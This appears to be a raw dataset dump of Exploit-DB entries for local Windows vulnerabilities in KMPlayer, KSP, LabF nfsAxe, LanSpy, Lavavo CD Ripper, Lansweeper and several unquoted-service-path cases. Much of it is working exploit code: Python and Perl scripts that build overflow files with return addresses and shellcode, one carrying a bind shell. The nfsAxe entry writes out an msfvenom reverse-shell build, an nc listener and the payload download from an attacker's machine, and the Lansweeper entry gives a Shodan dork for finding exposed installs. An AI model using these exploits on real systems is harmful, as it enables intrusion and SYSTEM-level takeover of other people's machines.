deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32152
Description: KMPlayer 3.8.0.117 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2014-03-10
Author: metacom

Exploit:
#!/usr/bin/python
# KMPlayer 3.8.0.117 Buffer Overflow
# Author: metacom
# Tested on: Windows Xp pro-sp3 En
# Download link :http://www.chip.de/downloads/KMPlayer_33859258.html
# Version: 3.8.0.117 Kmp Plus
# Howto / Notes:
# Run KMPlayer Playlist Editor > New Album and paste Exploit Code
import struct
def little_endian(address):
  return struct.pack("<L",address)
  

junk = "\x41" * 250
eip = little_endian(0x7C86467B)   #7C86467B   FFE4  JMP ESP  kernel32.dll        

shellcode=(
        "\x31\xC9"                #// xor ecx,ecx        
        "\x51"                    #// push ecx        
        "\x68\x63\x61\x6C\x63"    #// push 0x636c6163        
        "\x54"                    #// push dword ptr esp        
        "\xB8\xC7\x93\xC2\x77"    #// mov eax,0x77c293c7        
        "\xFF\xD0"                #// call eax  
		)

exploit = junk + eip + shellcode
try:
    rst= open("crash.txt",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"
Exploit-DB #49003
Description: KMSpico 17.1.0.0 - 'Service KMSELDI' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: SamAlucard

Exploit:
#Exploit Title: KMSpico 17.1.0.0 - 'Service KMSELDI' Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2020-11-08
#Vendor : KMSpico
#Version : Service_KMS 17.1.0.0
#Vendor Homepage :  https://official-kmspico.com/
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\>sc qc "Service KMSELDI"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Service KMSELDI
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\KMSpico\Service_KMS.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Service KMSELDI
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #9486
Description: KSP 2006 FINAL - '.m3u' Universal Local Buffer (SEH)
Type: local
Platform: windows
Date: 2009-08-24
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# KSP 2006 FINAL ( .M3U) Universal Local Buffer Exploit (SEH)
# http://download.cnet.com/KSP/3000-2139_4-10540099.html?tag=mncol
# ## easy #### this work sooooooooo good############################
####################################################################
# USE>>KSP>>PLAYLIST>>LOAD>>HACK4LOVE.M3U>> >BOOM CALC
####################################################################
# INFO::WE HAVE ONLEY 192 BIT FOR shellcode SO I USE
## win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub
#####################################################################
###HAPEY _________RAMADAN############################################
#####################################################################
my $bof="\x41" x 2385;
my $nsh="\xEB\x06\x90\x90";
my $seh="\x38\x01\x6e\x74";#### Universal
my $nop="\x90" x 20;
my $sec=
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc2".
"\xf8\x23\x02\x83\xeb\xfc\xe2\xf4\x3e\x10\x67\x02\xc2\xf8\xa8\x47".
"\xfe\x73\x5f\x07\xba\xf9\xcc\x89\x8d\xe0\xa8\x5d\xe2\xf9\xc8\x4b".
"\x49\xcc\xa8\x03\x2c\xc9\xe3\x9b\x6e\x7c\xe3\x76\xc5\x39\xe9\x0f".
"\xc3\x3a\xc8\xf6\xf9\xac\x07\x06\xb7\x1d\xa8\x5d\xe6\xf9\xc8\x64".
"\x49\xf4\x68\x89\x9d\xe4\x22\xe9\x49\xe4\xa8\x03\x29\x71\x7f\x26".
"\xc6\x3b\x12\xc2\xa6\x73\x63\x32\x47\x38\x5b\x0e\x49\xb8\x2f\x89".
"\xb2\xe4\x8e\x89\xaa\xf0\xc8\x0b\x49\x78\x93\x02\xc2\xf8\xa8\x6a".
"\xfe\xa7\x12\xf4\xa2\xae\xaa\xfa\x41\x38\x58\x52\xaa\x08\xa9\x06".
"\x9d\x90\xbb\xfc\x48\xf6\x74\xfd\x25\x9b\x42\x6e\xa1\xf8\x23\x02";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.M3U');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-24]
Exploit-DB #9624
Description: KSP 2009R2 - '.m3u' Universal Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-09-10
Author: hack4love

Exploit:
##!/usr/bin/python
# Found By :: HACK4LOVE
# hack4love@hotmail.com
# KSP 2009R2 (m3u) Universal Local Buffer Exploit (SEH)
# http://ksplayer.boo.pl/index.php
# #--->> info:: KSP 2009R2 Sound Player was released 28//8//2009
# AND special THANKS FOR His0k4#
######################################################################
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x58\x4e\x47"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x48"
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x30\x4b\x34"
"\x4b\x48\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x36\x4b\x38\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x33"
"\x48\x4f\x42\x46\x48\x55\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x36\x43\x56\x42\x30\x5a")
#########################################################################
buffer = shellcode
buffer += "\x41"*(2869-len(shellcode))
buffer += "\xE8\xC6\xF4\xFF\xFF"
buffer += "\x90"*10
buffer += "\xEB\xEF\x90\x90"
buffer += "\x88\x57\x40"

print buffer
#########################################################################
try:
out_file = open("hack4love.m3u",'w')
out_file.write(buffer)
out_file.close()
raw_input("\nExploit file created!\n")
except:
print "Error"
########################################################################

# milw0rm.com [2009-09-10]
Exploit-DB #44342
Description: LabF nfsAxe 3.7 - Privilege Escalation
Type: local
Platform: windows
Date: 2018-03-26
Author: bzyo

Exploit:
Exploit Author: bzyo
Twitter: @bzyo_
Exploit Title: LabF nfsAxe 3.7 - Privilege Escalation
Date: 03-24-2018
Vulnerable Software: LabF nfsAxe 3.7
Vendor Homepage: http://www.labf.com/
Version: 3.7
Software Link: http://www.labf.com/download/nfsaxe.exe
Tested On: Windows 7 x86 and x64 *Requires Windows 7 Public Sharing to be enabled


Details:
By default LabF nfsAxe 3.7 installs to "C:\Users\Public\Program Files\LabF.com\nfsAxe" and installs
a service called "XwpXSetSrvnfsAxe service". To start this service an executable "xsetsrv.exe" 
is located in the same directory and also runs under Local System.

By default in Windows with Public Folder sharing enabled, the permissions on any file/folder under "C:\Users\Public\" is Full Control
for Everyone.  This means unprivileged users have the ability to add, delete, or modify any and all 
files/folders.


Exploit:
1. Generate malicious .exe on attacking machine
  msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.149 LPORT=443 -f exe > /var/www/html/xsetsrv.exe

2. Setup listener and start apache on attacking machine
  nc -nlvvp 443
  service apache2 start
 
3. Download malicious .exe on victim machine
  Open browser to http://192.168.0.149/xsetsrv.exe and download

4. Rename C:\Users\Public\Program Files\LabF.com\nfsAxe\xsetsrv.exe
   xsetsrv.exe > xsetsrv.bak
 
5. Copy/Move downloaded xsetsrv.exe file to C:\Users\Public\Program Files\LabF.com\nfsAxe\

6. Restart victim machine and login as unprivileged user 

7. Reverse Shell on attacking machine opens
	C:\Windows\system32>whoami
	whoami
	nt authority\system

Prerequisites:
To successfully exploit this vulnerability, an attacker must already have access
to a system running a LabF nfsAxe installed at the default location using a
low-privileged user account

Risk:
The vulnerability allows local attackers to escalate privileges and execute
arbitrary code as Local System aka Game Over.

Fix:
Don't use default install path
Exploit-DB #46737
Description: LabF nfsAxe 3.7 Ping Client - 'Host IP' Buffer Overflow (Direct Ret)
Type: local
Platform: windows
Date: 2019-04-22
Author: Dino Covotsos

Exploit:
#!/usr/bin/python
# Exploit Title: LabF nfsAxe 3.7 Ping Client - Buffer Overflow (Vanilla)
# Date: 20-04-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.labf.com/nfsaxe
# Version: 3.7
# Software Link : http://www.labf.com/download/nfsaxe.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP SP3 ENG x86
# CVE: TBC from Mitre
# PoC:
# 1.) Generate nfsaxeping.txt, copy the contents to clipboard.
# 2.) In the application(ping.exe) paste contents of clipboard in to "Host IP" and click ok.
# 3.) Click Start and calc pops
#0x775a693b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)
#Special thanks to John Leitch for the Windows XP SP3 EN Calc Shellcode (16 Bytes)

shellcode = ("\x31\xC9"                     
        "\x51"                            
        "\x68\x63\x61\x6C\x63"            
        "\x54"                            
        "\xB8\xC7\x93\xC2\x77"            
        "\xFF\xD0")                 
		
buffer = "A" * 29 + "\x3b\x69\x5a\x77" + "\x90" * 10 + shellcode + "C" * (220-29-4-10-16)

payload = buffer
try:
    f=open("nfsaxeping.txt","w")
    print "[+] Creating %s bytes ping payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #40567
Description: LanSpy 2.0.0.155 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2016-10-18
Author: n30m1nd

Exploit:
#!/usr/bin/python

### LanSpy 2.0.0.155 - Buffer Overflow Exploit by n30m1nd ###

# Date: 2016-10-18
# Exploit Author: n30m1nd
# Vendor Homepage: www.lantricks.com
# Software Link: https://www.exploit-db.com/apps/42114d0f9e88ad76acaa0f145dabf923-lanspy_setup.exe
# Version: LanSpy 2.0.0.155
# Tested on: Tested on Win7 32bit and Win10 64 bit

# Platforms
# =========
# Tested on Win7 32bit and Win10 64 bit
# This exploit should work everywhere since the binary does not implement DEP nor ASLR

# Credits
# =======
# Shouts to hyp3rlinx for the PoC:
# 	https://www.exploit-db.com/exploits/38399/
# 	http://hyp3rlinx.altervista.org/
# And shouts to the crew at Offensive Security for their huge efforts on making
#	the infosec community better

# How to
# ======
# * Run this python script. It will generate an "addresses.txt" file.
# * Replace this file in the root directory of your LanSpy.exe installation.
# * Run LanSpy.exe and start the scan or do so by pressing F3.
# 	- You can also call LanSpy.exe from the command line like the following and 
# 		it will run the exploit straight away: echo n30 | C:\Path\To\LanSpy.exe

# Exploit code
# ============

import struct

# 32bit Alphanum-ish shellcodes
# Bad chars detected: 00 2d 20

# MessageBoxA at => 00404D80
msgbox_shellcode = (
        "\x31\xC0\x50\x68"
        "\x70\x77\x6E\x64"
        "\x54\x5F\x50\x57"
        "\x57\x50\x35\xC4"
        "\x80\x80\x55\x35"
        "\x44\xCD\xC0\x55"
        "\x50\xC3"
        )

# WinExec at -> 004EC4FF
calc_shellcode = (
        "\x31\xC0\x50\x68"
        "\x63\x61\x6C\x63"
        "\x54\x5F\x50\x57"
        "\x35\xC3\x4E\xC3"
        "\x55\x35\x3C\x8A"
        "\x8D\x55\x50\xC3"
        )

# Change the shellcode to be used here
scde = calc_shellcode
#scde = msgbox_shellcode

# 126 are the bytes to jmp back with opcode \x74\x80 => ja -80h and it is where our shellcode resides
junk = 'A'*(676-126) 
if len(scde) > 126:
	exit("[e] Shellcode is too big! Egghunter maybe? ;)")

# 0040407D => jmp ecx inside LanSpy
jecx = 'A'*(126-len(scde))+'\x74\x80CC'+struct.pack('<I', 0x0040407D)

# Junk + Shellcode for calc + jump to our first stage jump which jumps to the second stage calc shellcode
payl = junk + scde + jecx

with open("addresses.txt", "wb") as f:
        f.write(payl)
        f.close()
Exploit-DB #48618
Description: Lansweeper 7.2 - Incorrect Access Control
Type: local
Platform: windows
Date: 2020-06-23
Author: Amel BOUZIANE-LEBLOND

Exploit:
# Exploit Title: Lansweeper 7.2 - Incorrect Access Control
# SHODAN DORK : title:"Lansweeper - Login"
# Date: 2020-06-14
# Exploit Author: Amel BOUZIANE-LEBLOND
# Vendor Homepage: https://www.lansweeper.com/
# Software Link: https://www.lansweeper.com
# Version: 6.0.x through 7.2.x
# Tested on: Windows
# CVE : CVE-2020-14011

### Title:
Incorrect Access Control.

### Category:
Exploit

### Severity:
Critical

### Description:
Lansweeper 6.0.x through 7.2.x has a default installation in which the 
admin password is configured for the admin account, unless "Built-in 
admin" is manually unchecked. This allows command execution via the 
Add New Package and Scheduled Deployments features.

### Other observation:
Hi, This issue is kind of critical,
By using shodan with this filter title:"Lansweeper - Login"
We will find some Lansweeper with default installation on it


### Details:
The Lansweeper application is agentless network inventory software that can be used for IT asset management.
It uses the ASP.NET technology on its web application.

### Analysis:
When you install Lansweeper 6.0 or a more recent Lansweeper release and access the web console for the first time,
you are presented with a First Run Wizard, 
which allows you to set up scanning and configure some basic options.
Any subsequent times you access the console, 
you are presented with a login screen.
By default, everyone in your network can access all of Lansweeper's features and menus simply by browsing to the web console URL and hitting the Built-in Admin button.

### Suggested mitigation:
restrict access to the console and configure what users can see or do once they've been granted access.
You assign a built-in or custom user role, a set of permissions, to user groups or individual user accounts. 
A user's role determines what the user can see or do within the console..

### Impact/Risk:
Remote code execution
can expose the organization to unauthorized access of data and programs, fraud.

-- 
Amel BOUZIANE-LEBLOND
Exploit-DB #47577
Description: Launch Manager 6.1.7600.16385 - 'DsiWMIService' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-04
Author: Gustavo Briseño

Exploit:
# Title: Launch Manager 6.1.7600.16385 'DsiWMIService' Unquoted Service Path
# Author: Gustavo Briseño
# Date: 2019-11-03
# Vendor Homepage: https://www.acer.com/
# Software Link: https://global-download.acer.com/GDFiles/Application/LaunchManager/LaunchManager_Dritek_6.1.7600.16385_W7x86W7x64_A.zip?acerid=[PII_REDACTED]01268520&Step1=NOTEBOOK&Step2=ASPIRE&Step3=ASPIRE%204333&OS=ALLLC=es&BC=ACER&SC=PA_2#_ga=2.248[PII_REDACTED]16[PII_REDACTED][PII_REDACTED]74[PII_REDACTED]
# Version : Launch Manager 6.1.7600.16385
# Tested on: Windows 7 Home Basic 64bit
# CVE : N/A

# =====================================================
# 1. Description:
# Unquoted service paths in DsiWMIService have an unquoted service path.

#PoC
===========
C:\>sc qc DsiWMIService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DsiWMIService
        TYPE                                : 10  WIN32_OWN_PROCESS
        START_TYPE                   : 2   AUTO_START
        ERROR_CONTROL         : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Launch Manager\dsiwmis.exe
        LOAD_ORDER_GROUP :
        TAG                                  : 0
        DISPLAY_NAME              : Dritek WMI Service
        DEPENDENCIES               :
        SERVICE_START_NAME : LocalSystem

C:\>

#Exploit:
============
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during
application startup or reboot. If successful, the local user's code
would execute with the elevated privileges of the application.
Exploit-DB #47504
Description: Lavasoft 2.3.4.7 - 'LavasoftTcpService' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-10-16
Author: Luis MedinaL

Exploit:
# Lavasoft 2.3.4.7 - 'LavasoftTcpService' Unquoted Service Path
# Author: Luis MedinaL
# Date: 2019-10-15
# Vendor Homepage: https://www.adaware.com/
# Software Link : https://www.adaware.com/antivirus
# Version : 2.3.4.7
# Tested on:  Microsoft Windows 10 Pro x64 ESP

# Description:
# Lavasoft 2.3.4.7 installs LavasoftTcpService as a service with an unquoted service path

C:\Users\Luis ML>sc qc LavasoftTcpService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LavasoftTcpService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\TcpService\2.3.4.7\LavasoftTcpService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : LavasoftTcpService
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #51143
Description: Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path
Type: local
Platform: windows
Date: 2023-03-30
Author: P4p4 M4n3

Exploit:
#Exploit Title: Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path
# Author: P4p4 M4n3
# Discovery Date: 25-11-2022
# Vendor Homepage: https://webcompanion.com/en/
# Version 4.1.0.409
# Tested on:  Microsoft Windows Server 2019 Datacenter x64

# Description:
# Lavasoft 4.1.0.409 install DCIservice  as a service with an unquoted service path
# POC https://youtu.be/yb8AavCMbes 

#Discover the Unquoted Service path

C:\Users\p4p4\> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

DCIService        C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe    Auto  


C:\Users\p4p4> sc qc DCIService
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: DCIService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DCIService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #46755
Description: Lavavo CD Ripper 4.20 - 'License Activation Name' Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2019-04-25
Author: Achilles

Exploit:
# Exploit Title: Lavavo CD Ripper 4.20 Local Seh Exploit
# Date: 25.04.2019
# Vendor Homepage:https://www.lavavosoftware.com
# Software Link:  https://lavavo-cd-ripper.jaleco.com/download
# Exploit Author: Achilles
# Tested Version: 4.20
# Tested on: Windows XP SP3 EN
#            Windows 7 Sp1 x64

# 1.- Run python code : Lavavo.py
# 2.- Open EVIL.txt and copy content to Clipboard
# 3.- Open LavavoCDRipper.exe and click UNLOCK.
# 4.- Paste the Content of EVIL.txt into the 'License Activation Name'
# 5.- License Key 123456789
# 6.- Click 'Unlock Now' and you will have a bind shell port 3110.

#!/usr/bin/env python
import struct

buffer = "\x41" * 300
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh  =  struct.pack('<L',0x1003157d) #libsndfile.dll
nops =  "\x90" * 20

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
#badchars "\x00\x0a\x0d"
shellcode = ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b" 
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
"\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
"\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
"\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
"\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
"\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
"\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
"\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
"\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
"\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
"\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
"\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
"\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
"\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
"\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
"\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
"\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
"\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
"\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
"\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
"\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
"\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
"\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
"\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
"\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
"\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
"\x77\x03\x31\x3a")
pad ="C" * (6000 - len(buffer) - len(nseh+seh) - len(nops) -len(shellcode))
payload = buffer + nseh + seh + nops + shellcode + pad

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(payload)
	f.write(payload)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #49066
Description: LCD_Service 1.0.1.0 - 'LCD_Service' Unquote Service Path
Type: local
Platform: windows
Date: 2020-11-17
Author: Gerardo González

Exploit:
# Exploit Title: Huawei LCD_Service 1.0.1.0 - 'LCD_Service' Unquote Service Path
# Date: 2020-11-07
# Exploit Author: Gerardo González
# Vendor Homepage: https://consumer.huawei.com/mx
# Software Link: https://consumer.huawei.com/mx
# Version: 1.0.1.0
# Tested on: Windows 10 Home Single Language x64 Esp

# Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

# Service info:

Huawei LCD_Service   LCD_Service    C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe     Auto

C:\Users\gerar>sc qc "LCD_Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LCD_Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Huawei\HwLcdEnhancement\LCD_Service.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Huawei LCD_Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.